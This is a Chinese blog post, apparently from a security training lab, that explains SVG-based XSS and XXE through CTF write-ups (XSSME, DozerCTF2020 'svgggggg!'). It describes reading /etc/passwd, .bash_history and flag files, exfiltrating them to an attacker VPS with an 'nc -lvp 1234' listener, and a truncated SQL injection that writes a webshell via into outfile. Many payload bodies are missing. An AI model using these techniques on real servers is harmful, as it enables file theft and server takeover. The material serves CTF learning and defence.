您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

浅谈SVG的两个黑魔法

合天网安实验室 发布时间:2020-11-25 11:35:00 ,浏览量:0

  前言

之前在CTF比赛中遇到了一些关于SVG造成的安全问题,多亏诸多师傅的题目给我的一顿痛打让我又了解了不少新的知识和SVG在WEB安全中的应用,拓展了我的攻击面。

 

本文涉及知识点实操练习——XXE漏洞分析与实践:XXE漏洞发生在程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意的外部文件,可以造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、DoS攻击等危害。通过本课程的学习,你将掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法。

 

SVG简介

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

SVG造成XSS

直奔主题

我们在一张SVG图片里面插入一个JavaScript代码。


   
   alert(1)
 

我们用浏览器打开它会发现它会造成XSS。

刨根问底

为什么这样的SVG图片会造成跨站脚本问题呢?这是因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。

可以看到在国际的SVG标准中定义了script标签的存在,总之XSS之所以能够执行是因为遵循了svg及xml的标准。

那么假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题。

CTF中的应用场景

XSSME

题目地址:https://xssrf.hackme.inndy.tw/

本题是给admin发一封邮件,然后admin会查看你发送的邮件,很明显的xss盗取管理员cookie,但是这里经过fuzz发现过滤了如下字符:

&file;



我们把上面这段代码保存为1.svg,并上传。

可以发现成功回显了带有/etc/passwd内容的图片,但是图像太小,无法容纳所有内容,这里我们可以调整他的width宽度,调大一点就可以看到所有的内容了。

还有个问题就是我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/pwd/flag.txt读取文件。

最后payload如下:




  &file;

我们保存为2.svg上传,发现成功读取到flag。

无回显的情况

在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:

先在本地PHPStudy写入无回显处理XML的代码

xml.php


然后在自己的VPS上放置

xml.dtd



这里有几个需要注意的点:ip换成自己的vps的ip

这里的%会被xml解析成%,如果直接用%的话我本地会报错。

注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。

最后我们POST提交的payload



这里的ip同样换成自己的vps的ip

下一步在VPS上开启监听1234端口

nc -lvp 1234

然后我们抓xml.php的POST包并发送payload

可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。

我们来梳理一下他的整个调用过程

  1. 首先我们payload中的% remote去获取vps上的xml.dtd

  2. 然后xml.dtd中的% start去调用% file

  3. % file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码

  4. 最后通过% send将数据发送到vps监听的1234端口上

这就是XXE实现外带数据的整个流程,那么这个如何结合SVG呢,这里通过一道我之前打比赛的一道题为例子:

svgggggg!(DozerCTF2020) 这道题当时比赛的时候没有做出来,因为当时水平有限,并没有想到svg也是xml格式,可以用来XXE,这道题确实质量可以,学到了很多新的姿势,下面给出我复现的过程。

题目给的两个hint:

  • 用户r1ck的操作记录在哪儿来着

  • 如果你发现了sql注入,直接getshell吧,flag在/app目录里

复现过程如下:

打开网页,有一个框要求输入URL,然后检查URL指向的file是不是svg图片,如果请求的文件不是svg的话就会返回Unauthorized type!

我们先写一个简单的SVG图片源码放在vps上,保存为1.svg




  &file;  

提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件




  &files;

页面虽然正常返回信息,但是并不能直接读到我们想要的东西,但是无回显,所以这里就可以利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。

构造1.svg




%remote;
%start;
%send;
]>

        &lab;

构造xml.dtd


然后我们把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history,内容如下:

cd /app
php -S 0.0.0.0:8080

可以得知在8080端口有另外一个web服务,我们继续利用XXE数据外带读取源码,修改1.svg的一部分内容如下,其余操作一样


读取到源码如下:





index

Hi!
You Find Me .
Flag is nearby.




发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。

http://127.0.0.1:8080/index.php?id=-1' union select 1,'            
关注
打赏
1665306545
查看更多评论
0.0413s